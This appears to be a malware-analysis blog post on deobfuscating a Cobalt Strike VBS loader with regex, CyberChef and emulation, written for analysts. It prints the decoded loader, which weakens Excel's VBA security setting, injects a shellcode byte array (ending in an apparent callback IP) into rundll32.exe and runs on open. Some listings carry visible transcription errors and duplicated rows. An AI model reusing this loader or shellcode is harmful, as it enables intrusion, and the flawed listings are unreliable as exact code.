


Cobalt Strike .VBS Loader - Decoding with Advanced CyberChef and Emulation

embee-research.ghost.io/decoding-a-cobalt-strike-vba-loader-with-cyberchef/

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Demonstrating how to manually decode a complex .vbs script used to load Cobalt Strike shellcode into memory.

The referenced script implements heavy text-based obfuscation. We can defeat this obfuscation by utilising CyberChef and Regex.

Post obfuscation, we will identify some "malformed" shellcode which we will manually fix, before emulating with the SpeakEasy emulator.

Hash: **e8710133491bdf0b0d1a2e3d9a2dbbf0d58e0dbb0e0f7c65acef4f788128e1e4**

[Sample Link on Malware Bazaar](#)

TLDR:

- Identifying functionality and obfuscation types
- Removing basic obfuscation with Regex and Text Editor
- Removing advanced obfuscation using Regex, CyberChef and Subsections
- Identifying shellcode and fixing negative byte values (Python or CyberChef)

- Validation and Emulation using Speakeasy.

Initial Analysis

The script can be saved and unzipped using the password **infected**. From here we can open the file directly using a text editor like **notepad++**.

Upon opening, we can see that the script references some Excel objects, as well as **Wscript.Shell**, which is commonly used to execute .vbs scripts.

At this stage I will jump to the assumption that Excel is being leveraged to execute code using Wscript. I will avoid analysing the Excel/Wscript component and jump straight to decoding the obfuscated command/code.

```

1 Dim objExcel, WshShell, RegPath, action, objWorkbook, xlmodule
2
3
4 Set objExcel = CreateObject("Excel.Application")
5 objExcel.Visible = False
6
7 Set WshShell = CreateObject("Wscript.Shell")
8
9 function RegExists(regKey)
10     on error resume next
11     WshShell.RegRead regKey
12     RegExists = (Err.number = 0)
13 end function
14
15 ' Get the old AccessVbom value
16 RegPath = "HKEY_CURRENT_USER\Software\Microsoft\Office" & objExcel.Version & "\Excel\Security\AccessVbom"
17
18 if RegExists(RegPath) then
19     action = WshShell.RegRead(RegPath)
20 else
21     action = ""
22 end if
23
24 ' Weaken the target
25 WshShell.RegWrite RegPath, 1, "REG_DWORD"
26
27 ' Run the macro
28 Set objWorkbook = objExcel.Workbooks.Add()
29 Set xlmodule = objWorkbook.VBProject.VBComponents.Add(1)
30 xlmodule.CodeModule.AddFromText "Private &Type PRO&CESS_INF&FORMATION&Chr(10)& hPro&cess As &Long&Chr(10)& hThr&ead As L&ong&Chr(10)& dwPr&cessId &As L
31 "End Type&Chr(10)&Private &Type STA&RTUPINFO&Chr(10)& cb A&S Long&Chr(10)& lpRe&served A&S String&Chr(10)& lpDe&sktop As& Chr(10)& lpTi
32 Chr(10)& dwX&As Long&Chr(10)& dwY&As Long&Chr(10)& dwXS&ize As L&ong&Chr(10)& dwYS&ize As L&ong&Chr(10)& dwC&ountChar&S As Long&Chr(10)&
33 "s As Long&Chr(10)& dwPl&LlAttrib&ute As L&ong&Chr(10)& dwFl&ags As L&ong&Chr(10)& wSh&ow&Window &As Integ&Chr(10)& ch&e&S&erved2 &As Integ&
34 "served2 &As Long&Chr(10)& hStd&Input As& Chr(10)& hStd&Output A&S Long&Chr(10)& hStd&Error As& Chr(10)&End Type&Chr(10)&Chr(35)&If VBA
35 " Priv&ate Decl&are Ptr&S&afe Func&tion Cre&ateStuff& Lib &Chr(34)&kernel32&Chr(34)& Alias &Chr(34)&CreateRe& moteThre&ad&Chr(34)& &Chr(40)&ByVal hP&rocess A
36 " ByVal l&PThreadA&tribute&S As Long&Chr(44)& ByVal d&wStackSi&ze As Lo&ng&Chr(44)& ByVal l&PStartAd&dress As& Chr(44)& lpParam&eter As &Long&Chr
37 "wCreatio&nFlags A&S Long&Chr(44)& lpThrea&dID As L&ong&Chr(41)& As Long&Ptr&Chr(10)& Priv&ate Decl&are Ptr&S&afe Func&tion All&ocStuff &Lib &Chr(34)&kerne
38 Chr(34)&VirtualA&llLocEx&Chr(34)& &Chr(40)&ByVal hP&rocess A&S Long&Chr(44)& ByVal l&PAddr As& Chr(44)& ByVal l&PSize As &Long&Chr(44)& ByVal l&PAlloc&Li
39 Chr(44)& ByVal l&PProtect&As Long&Chr(41)& As Long&Ptr&Chr(10)& Priv&ate Decl&are Ptr&S&afe Func&tion W&l&teStuff &Lib &Chr(34)&kernel32&Chr(34)& Alias &Chr
40 "cessMemo&ry&Chr(34)& &Chr(40)&ByVal hP&rocess A&S Long&Chr(44)& ByVal l&Dest As &Long&Ptr&Chr(44)& ByRef S&ource As& Any&Chr(44)& ByVal l&Length As& Chr(44)& Create
41 "engthWro&te As Lo&ng&Chr(41)& As Long&Ptr&Chr(10)& Priv&ate Decl&are Ptr&S&afe Func&tion Run&Stuff Ll&S b &Chr(34)&kernel32&Chr(34)& Alias &Chr(34)&Create
42 " &Chr(40)&ByVal lp&Applicat&ionName &As Strin&g&Chr(44)& ByVal l&PCommand&Line As &String&Chr(44)& lpProce&S&Attrib&utes As &Any&Chr(44)& lpThrea&dAttribu
43 Chr(44)& ByVal l&Inherit&ance&S As Long&Chr(44)& ByVal d&wCreatio&nFlags A&S Long&Chr(44)& lpEnvir&onment A&S Any&Chr(44)& ByVal l&PCurrent&Director&y As S
44 " lpStart&upInfo A&S ST&ARTUP&FINFO&Chr(44)& lpProce&S&eInfo&rm&ation As& PROCESS&S INFORM&ATION&Chr(41)& As Long&Chr(10)&Chr(35)&Else&Chr(10)& Priv&ate Decl&are
45 "ateStuff& Lib &Chr(34)&kernel32&Chr(34)& Alias &Chr(34)&CreateRe& moteThre&ad&Chr(34)& &Chr(40)&ByVal hP&rocess A&S Long&Chr(44)& ByVal l&PThreadA&tribute&S
46 " ByVal d&wStackSi&ze As Lo&ng&Chr(44)& ByVal l&PStartAd&dress As& Chr(44)& lpParam&eter As &Long&Chr(44)& ByVal d&wCreatio&nFlags A&S Long&Chr(44)& lp
47 "ong&Chr(41)& As Long&Chr(10)& Priv&ate Decl&are Func&tion All&ocStuff &Lib &Chr(34)&kernel32&Chr(34)& Alias &Chr(34)&VirtualA&llLocEx&Chr(34)& &Chr(40)&ByVal

```

We can assume that the initial piece of the code is leveraging Excel and Wscript to run a vbs script that has been obfuscated.

Overview of Obfuscation Techniques

So let's move on to the obfuscated part starting on line 30.

Here we can see two main forms of obfuscation. This obfuscation is similar to one that i've spoken about for Dcrat.

1. The script is broken up into lots of small strings, eg "hello world" would be **"hello"&"world"**
2. The script utilises decimal encoded values that are decoded using **Chr**. For example, "Hello World" could be **"Hell"&Chr(111)&"World"**. Where the "o" has been converted to it's decimal value of **111** (You can look at an [ascii table](#) to see where these values come from)

3. Each line ends with an underscore `_`. This isn't obfuscation but will still need to be removed to clean up the script.

```

23 ' Weaken the target
24 WshShell.RegWrite
25
26
27 ' Run the macro
28 Set objWorkbook = objExcel.Workbooks.Add()
29 Set xlModule = objWorkbook.VBProject.VBComponents.Add(1)
30 xlModule.CodeModule.AddFromText "Private " &"Type PRO" &"CESS INF" &"ORMATION" &Chr(10) & " hProc" &"cess As " &"Long" &Chr(10) & " hThr" &"read As L" &"ong" &Chr(10) & " dwPr" &
31 "End Type" &Chr(10) &Chr(10) &Private " &"Type Str" &"RTUPI" &"FO" &Chr(10) & " cb A" &"s Long" &Chr(10) & " lpRe" &"served A" &"s String" &Chr(10) & " lpDe" &"sktop As" &" String" &C
32 Chr(10) & " dwX" &"As Long" &Chr(10) & " dwY" &"As Long" &Chr(10) & " dwXS" &"ize As L" &"ong" &Chr(10) & " dwYS" &"ize As L" &"ong" &Chr(10) & " dwXC" &"ountChar" &"s As Lon
33 "s As Lon" &"g" &Chr(10) & " dwFl" &"llAttrib" &"ute As L" &"ong" &Chr(10) & " dwFl" &"ags As L" &"ong" &Chr(10) & " wSho" &"Window" &"As Integ" &"er" &Chr(10) & " cbRe" &"served
34 "served2 " &"As Long" &Chr(10) & " hStd" &"Input As" &" Long" &Chr(10) & " hStd" &"Output A" &"s Long" &Chr(10) & " hStd" &"Error As" &" Long" &Chr(10) & "End Type" &Chr(10) &Chr(10) &Chr(10)
35 " Priv" &"ate Decl" &"are Ptr" &"s" &"afe Func" &"tion Cre" &"ate Stuff" &" Lib " &Chr(34) &"kernel32" &Chr(34) &" Alias " &Chr(34) &"CreatePr" &"oteThre" &"ad" &Chr(34) &"Chr(40) &"ByV
36 "ByVal l" &"pThreadA" &"ttribute" &"s As Lon" &"g" &Chr(44) &" ByVal d" &"wStack" &"ize As Lo" &"ng" &Chr(44) &" ByVal l" &"pStartAd" &"dress As" &" Long" &Chr(44) &" ByVal l" &"pParam" &"eter
37 "wCreatio" &"nFlags A" &"s Long" &Chr(44) &" lpThrea" &"dID As L" &"ong" &Chr(41) &" As Long" &"Ptr" &Chr(10) &" Priv" &"ate Decl" &"are Ptr" &"s" &"afe Func" &"tion All" &"ocStuff " &"Lib
38 Chr(34) &"VirtualA" &"llocEx" &Chr(34) &" " &Chr(40) &"ByVal hP" &"rocess A" &"s Long" &Chr(44) &" ByVal l" &"pAddr As" &" Long" &Chr(44) &" ByVal l" &"Size As " &"Long" &Chr(44) &" ByVal
39 Chr(44) &" ByVal f" &"lProtect" &" As Long" &Chr(41) &" As Long" &"Ptr" &Chr(10) &" Priv" &"ate Decl" &"are Ptr" &"s" &"afe Func" &"tion Wri" &"te Stuff" &" Lib " &Chr(34) &"kernel32" &Chr(34) &" Alias
40 "cessMemo" &"ry" &Chr(34) &" " &Chr(40) &"ByVal hP" &"rocess A" &"s Long" &Chr(44) &" ByVal l" &"Dest As " &"Long" &Chr(44) &" ByRef S" &"ource As" &" Any" &Chr(44) &" ByVal l" &"ength
41 "engthWro" &"te As Lo" &"ngPtr" &Chr(41) &" As Long" &"Ptr" &Chr(10) &" Priv" &"ate Decl" &"are Ptr" &"s" &"afe Func" &"tion Run" &" Stuff Li" &" Lib " &Chr(34) &"kernel32" &Chr(34) &" Alias "
42 " &Chr(40) &"ByVal lp" &"Applicat" &"ionName " &"As Strin" &"g" &Chr(44) &" ByVal l" &"pCommand" &"Line As " &"String" &Chr(44) &" lpProce" &"ssAttrib" &"utes As " &"Any" &Chr(44) &" lpI
43 Chr(44) &"ByVal b" &"inherit" &"andles A" &"s Long" &Chr(44) &" ByVal d" &"wCreatio" &"nFlags A" &"s Long" &Chr(44) &" lpEnvir" &"onment A" &"s Any" &Chr(44) &" ByVal l" &"pCurrent" &"E
44 " lpStart" &"upInfo A" &"s SPARTU" &"PIN" &Chr(44) &" lpProce" &"ssForm" &"ation As" &" PROCESS" &" IN" &"FORMA" &"TION" &Chr(41) &" As Long" &Chr(10) &Chr(35) &"Else" &Chr(10) &" Priv
45 "ate Stuff" &" Lib " &Chr(34) &"kernel32" &Chr(34) &" Alias " &Chr(34) &"CreatePr" &"oteThre" &"ad" &Chr(34) &"Chr(40) &"ByVal hP" &"rocess A" &"s Long" &Chr(44) &" ByVal l" &"pThreadA
46 "ByVal d" &"wStack" &"ize As Lo" &"ng" &Chr(44) &" ByVal l" &"pStartAd" &"dress As" &" Long" &Chr(44) &" lpParam" &"eter As " &"Long" &Chr(44) &" ByVal d" &"wCreatio" &"nFlags A" &"s Lc
47 "ong" &Chr(41) &" As Long" &Chr(10) &" Priv" &"ate Decl" &"are Func" &"tion All" &"ocStuff " &"Lib " &Chr(34) &"kernel32" &Chr(34) &" Alias " &Chr(34) &"VirtualA" &"llocEx" &Chr(34) &"
48 "s Long" &Chr(44) &" ByVal l" &"pAddr As" &" Long" &Chr(44) &" ByVal l" &"Size As " &"Long" &Chr(44) &" ByVal f" &"lAllocat" &"ionType " &"As Long" &Chr(44) &" ByVal f" &"lProtect" &" As
49 " Priv" &"ate Decl" &"are Func" &"tion Wri" &"te Stuff" &" Lib " &Chr(34) &"kernel32" &Chr(34) &" Alias " &Chr(34) &"WritePro" &"cessMemo" &"ry" &Chr(34) &" " &Chr(40) &"ByVal hP" &"roce

```

3. Each Line ends with an underscore, representing a new line in visual basic. These will need to be removed.

```

As L" &"ong" &Chr(10) & " dwPr" &"cessId " &"As Long" &Chr(10) & " dwTh" &"readId A" &"s Long" &Chr(10) & _
  lpDe" &"sktop As" &" String" &Chr(10) & " lpTi" &"tle As S" &"tring" & _
' dwXC" &"ountChar" &"s As Lon" &"g" &Chr(10) & " dwYC" &"ountChar" & _
:er" &Chr(10) & " cbRe" &"served2 " &"As Integ" &"er" &Chr(10) & " lpRe" & _
:(10) &"End Type" &Chr(10) &Chr(10) &Chr(35) &"If VBA7" &" " &"Then" &Chr(10) & _
:ad" &Chr(34) &" " &Chr(40) &"ByVal hP" &"rocess A" &"s Long" &Chr(44) & _
ongPtr" &Chr(44) &" lpParam" &"eter As " &"Long" &Chr(44) &" ByVal d" & _
unc" &"tion All" &"ocStuff " &"Lib " &Chr(34) &"kernel32" &Chr(34) &" Alias " & _
ze As " &"Long" &Chr(44) &" ByVal f" &"lAllocat" &"ionType " &"As Long" & _
" &"Lib " &Chr(34) &"kernel32" &Chr(34) &" Alias " &Chr(34) &"WritePro" & _
Any" &Chr(44) &" ByVal l" &"ength As" &" Long" &Chr(44) &" ByVal l" & _
44) &"kernel32" &Chr(34) &" Alias " &Chr(34) &"CreatePr" &"rocessA" &Chr(34) & _
" &"utes As " &"Any" &Chr(44) &" lpThrea" &"dAttribu" &"tes As A" &"ny" & _
hr(44) &" ByVal l" &"pCurrent" &"Director" &"y As Str" &"ing" &Chr(44) & _
:hr(35) &"Else" &Chr(10) &" Priv" &"ate Decl" &"are Func" &"tion Cre" & _
ig" &Chr(44) &" ByVal l" &"pThreadA" &"ttribute" &"s As Lon" &"g" &Chr(44) & _
:d" &"wCreatio" &"nFlags A" &"s Long" &Chr(44) &" lpThrea" &"dID As L" & _
&"VirtualA" &"llocEx" &Chr(34) &" " &Chr(40) &"ByVal hP" &"rocess A" & _
44) &" ByVal f" &"lProtect" &" As Long" &Chr(41) &" As Long" &Chr(10) & _
44) &" " &Chr(40) &"ByVal hP" &"rocess A" &"s Long" &Chr(44) &" ByVal l" & _
:Chr(41) &" As Long" &Chr(10) &" Priv" &"ate Decl" &"are Func" &"tion Run" & _
:trin" &"g" &Chr(44) &" ByVal l" &"pCommand" &"Line As " &"String" &Chr(44) & _
44) &" ByVal d" &"wCreatio" &"nFlags A" &"s Long" &Chr(44) &" lpEnvir" & _


```

Now that we've identified 3 initial forms of "obfuscation", we can go ahead and remove them by utilising regex.


You could always remove and replace each value manually without regex, but that is a very tedious process and ideally something to be avoided. This script is a case where regex is the best way forward.

Moving on, let's go ahead and remove the first form of obfuscation. We can do this using a search/replace. Using the "&" and an empty replace value.

(Note that i've moved the encoded portion of the script to a new file so that the screenshots will be easier to read)



After hitting enter, 290 occurrences of the string split obfuscation have been removed.



Now, I will go ahead and use CyberChef to identify and remove the **Chr(10)** style obfuscation.

This process will involve using a regex to identify the **Chr(10)**, and then using a subsection here in on the values and decode them, leaving the remaining script intact.

To do this, I will move the current encoded content into CyberChef.

Initial Analysis With Cyberchef

With the script now moved into CyberChef, we can jump straight to prototyping a regular expression (regex) to hone in on the decimal encoded values.

For prototyping, I will use "Regular Expression" and "Highlight Matches", this is to confirm that the script matches on the intended obfuscated content.

The regex used here is **Chr(\d+)**. Let's break that down...

- **Chr** - We only want decimal values that begin with **Chr**

- `\(` and `\)` - We only want decimal values contained in brackets, we need `\` to escape the brackets as they have special meaning inside a regex.
- `\d+` - This specifies one or more numerical values.


TLDR: we want "numerical values" + "contained in brackets" + "preceded by Chr".

The screenshot shows a recipe configuration window on the left and an input/output window on the right. The recipe configuration includes a regular expression `Chr\\((\\d+\\)` and options for case insensitivity and matching newlines. The output window shows the original obfuscated code with the decimal values in brackets highlighted in yellow, demonstrating that the regex correctly identifies these values.

Since the regex looks like it's working and correctly identifying values, we can go ahead and change it to a subsection.

A subsection allows us to perform all future operations only on data that matches our regex. This allows us to keep the majority of the script intact, while decoding only values that are obfuscated and matching our regex.

We can go ahead and copy the regex into a subsection, making sure to disable the original regular expression.



Converting a regex to a Subsection

With the subsection applied, we can now apply an additional regex to extract decimal values (but only those contained with Chr).

From here, we can now apply a "From decimal" to decode the content.

At this point, we now have a significantly better looking script than before. (albeit we still have the & everywhere)




Decoding Decimal encoded value in CyberChef. Keeping main script intact.

Moving back to a text editor

With the primary obfuscation now defeated, we can copy the CyberChef output back into a text editor.



```
1 xmodule.CodeModule.AddFromString "Private Type PROCESS_INFORMATION"&
2 &" hProcess As Long"&
3 &" hThread As Long"&
4 &" dwProcessId As Long"&
5 &" dwThreadId As Long"&
6 _
7 "End Type"&
8 &
9 &"Private Type STARTUPINFO"&
10 &" cb As Long"&
11 &" lpReserved As String"&
12 &" lpDesktop As String"&
13 &" lpTitle As String"& _
14
15 &" dwX As Long"&
16 &" dwY As Long"&
17 &" dwXSize As Long"&
18 &" dwYSize As Long"&
19 &" dwXCountChars As Long"&
20 &" dwYCountChar" & _
21 "s As Long"&
22 &" dwFillAttribute As Long"&
23 &" dwFlags As Long"&
24 &" wShowWindow As Integer"&
25 &" cbReserved2 As Integer"&
26 &" lpRe" & _
27 "served2 As Long"&
28 &" hStdInput As Long"&
29 &" hStdOutput As Long"&
30 &" hStdError As Long"&
31 &"End Type"&
32 &
33 &"If VBA7 Then"&
34 _
35 " Private Declare PtrSafe Function CreateStuff Lib "&"kernel32"&" Alias "&"CreateRemoteThread"&" ("&"ByVal hProcess As Long"&,"& _
36 "&"ByVal lpThreadAttributes As Long"&,"&"ByVal dwStackSize As Long"&,"&"ByVal lpStartAddress As LongPtr"&,"&" lpParameter As Long"&,"&"ByVal d"& _
37 "&"wCreationFlags As Long"&,"&" lpThreadId As Long"&)&" As LongPtr"&
38 &" Private Declare PtrSafe Function AllocStuff Lib "&"kernel32"&" Alias "& _
```

The ampersands that surrounded our `&Chr(110)&` values still remain, so let's go ahead and remove those.




The screenshot shows a text editor window with a Replace dialog box open. The dialog box is titled "Replace" and has a "Find" tab selected. The "Find what:" field contains "&" and the "Replace with:" field is empty. The "Search Mode" is set to "Regular expression". The "Replace All" button is highlighted. Below the dialog box, a purple box contains the text "Removing leftover ampersands (&)". The code in the background is the same as in the previous image, but with the ampersands removed from the `&Chr(110)&` values.

We also have those pesky underscores (visual basic newlines) remaining, so let's go ahead and remove those using `\s+_\s+`, this will remove any newlines and surrounding whitespace.



The Script now looks much cleaner, albeit there are a lot of ''' quotes around that don't seem to contribute anything useful.


We can go ahead and remove these using a regex of '+', this will remove all quotes from the script.



Analysing the Cleaned up Script

With the majority of junk now removed, we can go ahead and view the now decoded script.

One of the first things we can notice is that there are lots of references to api's commonly used in process injection (VirtualAllocEx, WriteProcessMemory, CreateProcessA etc).



Scrolling down slightly, we can also see a blob of hex bytes and a process name, likely used as the target for process injection.

(eg, this blob of bytes is going to be injected into rundll32.exe)

```

42 Dim sProc As String
43
44 #If VBA7 Then
45 Dim rxwpage As LongPtr, res As LongPtr
46 #Else
47 Dim rxwpage As Long, res As Long
48 #End If
49 myArray = Array(-4,-24,-119,0,0,96,-119,-27,49,-46,100,-117,82,48,-117,82,12,-117,82,20,-117,114,40,15,-73,74,38,49,-1,49,-64,-84,60,97,124,2,44,32,-63,-49,
50 13,1,-57,-30,-16,82,87,-117,82,16,-117,66,80,1,-48,-117,64,120,-123,-64,116,74,1,-48,80,-117,72,24,-117,88,32,1,-45,-29,60,73,-117,52,-117,1,
51 -42,49,-1,49,-64,-84,-63,-49,13,1,-57,56,-32,117,-12,3,125,-8,59,125,36,117,-30,88,-117,88,36,1,-45,102,-117,12,75,-117,88,28,1,-45,-117,4,
52 -117,1,-48,-119,68,36,36,91,91,97,89,90,81,-1,-32,88,95,90,-117,18,-21,-122,93,104,110,101,116,0,104,119,105,110,105,84,104,76,119,38,7,-1,
53 -43,49,-1,87,87,87,87,104,58,86,121,-89,-1,-43,-23,-124,0,0,0,91,49,-55,81,81,106,3,81,81,104,91,-22,0,0,83,80,104,87,-119,-97,
54 -58,-1,-43,-21,112,91,49,-46,82,104,0,2,64,-124,82,82,82,82,80,104,-21,85,46,59,-1,-43,-119,-58,-125,-61,80,49,-1,87,87,106,-1,83,86,
55 104,45,6,24,123,-1,-43,-123,-64,15,-124,-61,1,0,0,49,-1,-123,-10,116,4,-119,-7,-21,9,104,-86,-59,-30,93,-1,-43,-119,-63,104,69,33,94,49,-1,
56 -43,49,-1,87,106,7,81,86,80,104,-73,87,-32,11,-1,-43,-65,0,47,0,0,57,-57,116,-73,49,-1,-23,-111,1,0,0,-23,-55,1,0,0,-24,-117,-1,
57 -1,-1,47,71,100,97,80,0,53,79,33,80,37,64,65,80,91,52,92,80,90,88,53,52,40,80,94,41,55,67,67,41,55,125,36,69,73,67,65,82,
58 45,83,84,65,78,68,65,82,68,45,65,78,84,73,86,73,82,85,83,45,84,69,83,84,45,70,73,76,69,33,36,72,43,72,42,0,53,79,33,80,
59 37,0,85,115,101,114,45,65,103,101,110,116,58,32,77,111,122,105,108,108,97,47,52,46,48,32,40,99,111,109,112,97,116,105,98,108,101,59,32,77,
60 83,73,69,32,56,46,48,59,32,87,105,110,100,111,119,115,32,78,84,32,53,46,49,59,32,84,114,105,100,101,110,116,47,52,46,48,59,32,71,84,
61 66,55,46,52,59,32,46,78,69,84,52,46,49,67,41,13,110,0,53,79,33,80,37,64,65,80,91,52,92,80,90,88,53,52,40,80,94,41,55,67,
62 67,41,55,125,36,69,73,67,65,82,45,83,84,65,78,68,65,82,68,45,65,78,84,73,86,73,82,85,83,45,84,69,83,84,45,70,73,76,69,33,
63 36,72,43,72,42,0,53,79,33,80,37,64,65,80,91,52,92,80,90,88,53,52,40,80,94,41,55,67,67,41,55,125,36,69,73,67,65,82,45,83,
64 84,65,78,68,65,82,68,45,65,78,84,73,86,73,82,85,83,45,84,69,83,84,45,70,73,76,69,33,36,72,43,72,42,0,53,79,33,80,37,64,
65 86,73,82,85,83,45,84,69,83,84,45,70,73,76,69,33,36,72,43,72,42,0,53,79,33,0,104,-16,-75,-94,86,-1,-43,106,64,104,0,16,0,0,
66 104,0,0,64,0,87,104,88,-92,83,-27,-1,-43,-109,-71,0,0,0,1,-39,81,83,-119,-25,87,104,0,32,0,0,83,86,104,18,-106,-119,-30,-1,-43,
67 -123,-64,116,-58,-117,7,1,-63,-123,-64,117,-27,88,-61,-24,-87,-3,-1,-1,52,55,46,57,56,46,53,49,46,52,55,0,0,0,0)
68
69 If Len(Environ(ProgramW6432)) > 0 Then
70 sProc = Environ(windir) && SysWOW64 && Rundll32.exe
71 Else
72 sProc = Environ(windir) && System32 && Rundll32.exe
73 End If
74 res = RunStuff(sNull, sProc, ByVal 0, ByVal 1, ByVal 4, ByVal 0, sNull, sInfo, pInfo)
75
76 rxwpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), H1000, H40)
77 For offset = LBound(myArray) To UBound(myArray)
78 myByte = myArray(offset)
79 res = WriteStuff(pInfo.hProcess, rxwpage + offset, myByte, 1, ByVal 0)
80 Next offset
81 res = CreateStuff(pInfo.hProcess, 0, 0, rxwpage, 0, 0)
82 End Sub
83 Sub AutoOpen()
84 Auto_Open
85 End Sub
86 Sub Workbook_Open()
87 Auto_Open
88 End Sub
89 End Sub

```

Blob of hex bytes, likely shellcode.

Rundll32.exe, likely an injection target.

At this point, we can probably assume that the bytes are shellcode. This is primarily due to the short length. Which is too short to be a standard pe/exe/dll file.

Before going forward, we can first remove the final remaining underscores.

```

Sub Auto_Open()
Dim myByte As Long, myArray As Variant, offset As Long
Dim pInfo As PROCESS_INFORMATION
Dim sInfo As STARTUPINFO
Dim sNull As String
Dim sProc As String
#If VBA7 Then
Dim rxwpage As LongPtr, res As LongPtr
#Else
Dim rxwpage As Long, res As Long
#End If
myArray = Array(-4,-24,-119,0,0,96,-119,-27,49,-46,100,-117,82,48,-117,82,12,-117,82,20,-117,114,40,15,-73,74,38,49,-1,49,-64,-84,60,97,124,2,44,32,-63,-49,
13,1,-57,-30,-16,82,87,-117,82,16,-117,66,80,1,-48,-117,64,120,-123,-64,116,74,1,-48,80,-117,72,24,-117,88,32,1,-45,-29,60,73,-117,52,-117,1,
-42,49,-1,49,-64,-84,-63,-49,13,1,-57,56,-32,117,-12,3,125,-8,59,125,36,117,-30,88,-117,88,36,1,-45,102,-117,12,75,-117,88,28,1,-45,-117,4,
-117,1,-48,-119,68,36,36,91,91,97,89,90,81,-1,-32,88,95,90,-117,18,-21,-122,93,104,110,101,116,0,104,119,105,110,105,84,104,76,119,38,7,-1,
-43,49,-1,87,87,87,87,104,58,86,121,-89,-1,-43,-23,-124,0,0,0,91,49,-55,81,81,106,3,81,81,104,91,-22,0,0,83,80,104,87,-119,-97,
-58,-1,-43,-21,112,91,49,-46,82,104,0,2,64,-124,82,82,82,82,80,104,-21,85,46,59,-1,-43,-119,-58,-125,-61,80,49,-1,87,87,106,-1,83,86,
104,45,6,24,123,-1,-43,-123,-64,15,-124,-61,1,0,0,49,-1,-123,-10,116,4,-119,-7,-21,9,104,-86,-59,-30,93,-1,-43,-119,-63,104,69,33,94,49,-1,
-43,49,-1,87,106,7,81,86,80,104,-73,87,-32,11,-1,-43,-65,0,47,0,0,57,-57,116,-73,49,-1,-23,-111,1,0,0,-23,-55,1,0,0,-24,-117,-1,
-1,-1,47,71,100,97,80,0,53,79,33,80,37,64,65,80,91,52,92,80,90,88,53,52,40,80,94,41,55,67,67,41,55,125,36,69,73,67,65,82,
45,83,84,65,78,68,65,82,68,45,65,78,84,73,86,73,82,85,83,45,84,69,83,84,45,70,73,76,69,33,36,72,43,72,42,0,53,79,33,80,
37,0,85,115,101,114,45,65,103,101,110,116,58,32,77,111,122,105,108,108,97,47,52,46,48,32,40,99,111,109,112,97,116,105,98,108,101,59,32,77,
83,73,69,32,56,46,48,59,32,87,105,110,100,111,119,115,32,78,84,32,53,46,49,59,32,84,114,105,100,101,110,116,47,52,46,48,59,32,71,84,
66,55,46,52,59,32,46,78,69,84,52,46,49,67,41,13,110,0,53,79,33,80,37,64,65,80,91,52,92,80,90,88,53,52,40,80,94,41,55,67,
67,41,55,125,36,69,73,67,65,82,45,83,84,65,78,68,65,82,68,45,65,78,84,73,86,73,82,85,83,45,84,69,83,84,45,70,73,76,69,33,
36,72,43,72,42,0,53,79,33,80,37,64,65,80,91,52,92,80,90,88,53,52,40,80,94,41,55,67,67,41,55,125,36,69,73,67,65,82,45,83,
84,65,78,68,65,82,68,45,65,78,84,73,86,73,82,85,83,45,84,69,83,84,45,70,73,76,69,33,36,72,43,72,42,0,53,79,33,0,104,-16,-75,-94,86,-1,-43,106,64,104,0,16,0,0,
86,73,82,85,83,45,84,69,83,84,45,70,73,76,69,33,36,72,43,72,42,0,53,79,33,0,104,-16,-75,-94,86,-1,-43,106,64,104,0,16,0,0,
104,0,0,64,0,87,104,88,-92,83,-27,-1,-43,-109,-71,0,0,0,1,-39,81,83,-119,-25,87,104,0,32,0,0,83,86,104,18,-106,-119,-30,-1,-43,
-123,-64,116,-58,-117,7,1,-63,-123,-64,117,-27,88,-61,-24,-87,-3,-1,-1,52,55,46,57,56,46,53,49,46,52,55,0,0,0,0)
If Len(Environ(ProgramW6432)) > 0 Then
sProc = Environ(windir) && SysWOW64 && Rundll32.exe
Else
sProc = Environ(windir) && System32 && Rundll32.exe
End If
res = RunStuff(sNull, sProc, ByVal 0, ByVal 1, ByVal 4, ByVal 0, sNull, sInfo, pInfo)
rxwpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), H1000, H40)
For offset = LBound(myArray) To UBound(myArray)
myByte = myArray(offset)
res = WriteStuff(pInfo.hProcess, rxwpage + offset, myByte, 1, ByVal 0)
Next offset
res = CreateStuff(pInfo.hProcess, 0, 0, rxwpage, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
End Sub

```

There are still some underscores remaining. These can be removed before analysing the hex blob.

Once removed, the blob of hex bytes should look something like this. The blob is far too short to be a full pe file, but plenty of space to include shellcode.

```

Sub AutoOpen()
Dim myByte As Long, myArray As Variant, offset As Long
Dim pInfo As PROCESSINFORMATION
Dim sInfo As STARTUPINFO
Dim sNull As String
Dim sProc As String

If VBA7 Then
Dim rwxpage As LongPtr, res As LongPtr
Else
Dim rwxpage As Long, res As Long
#End If
myArray = Array(-4,-24,-119,0,0,96,-119,-27,49,-46,100,-117,82,48,-117,82,12,-117,82,20,-117,114,40,15,-73,74,38,49,-1,49,-64,-84,60,97,124,2,44,32,-63,-49,
13,1,-57,-30,-16,82,87,-117,82,16,-117,66,60,1,-48,-117,64,120,-123,-64,116,74,1,-48,80,-117,72,24,-117,88,32,1,-45,-29,60,73,-117,52,-117,1,
-42,49,-1,49,-64,-84,-63,-49,13,1,-57,56,-32,117,-12,3,125,-8,59,125,36,117,-30,88,-117,88,36,1,-45,102,-117,12,75,-117,88,28,1,-45,-117,4,
-117,1,-48,-119,68,36,36,91,91,97,89,90,81,-1,-32,88,95,90,-117,18,-21,-122,93,104,110,101,116,0,104,119,105,110,105,84,104,76,119,38,7,-1,
-43,49,-1,87,87,87,87,104,58,86,121,-89,-1,-43,-23,-124,0,0,91,49,-55,81,81,106,3,81,81,104,91,-22,0,0,83,80,104,87,-119,-97,
-58,-1,-43,-21,112,91,49,-46,82,104,0,2,64,-124,82,82,82,83,82,80,104,-21,85,46,59,-1,-43,-119,-58,-125,-61,80,49,-1,87,87,106,-1,83,86,
104,45,6,24,123,-1,-43,-123,-64,15,-124,-61,1,0,0,49,-1,-123,-10,116,4,-119,-7,-21,9,104,-86,-59,-30,93,-1,-43,-119,-63,104,69,33,94,49,-1,
-43,49,-1,87,106,7,81,86,80,104,-73,87,-32,11,-1,-43,-65,0,47,0,0,57,-57,116,-73,49,-1,-23,-111,1,0,0,-23,-55,1,0,0,-24,-117,-1,
-1,-1,47,71,100,97,80,0,53,79,33,80,37,64,65,80,91,52,92,80,90,88,53,52,40,80,94,41,55,67,67,41,55,125,36,69,73,67,65,82,
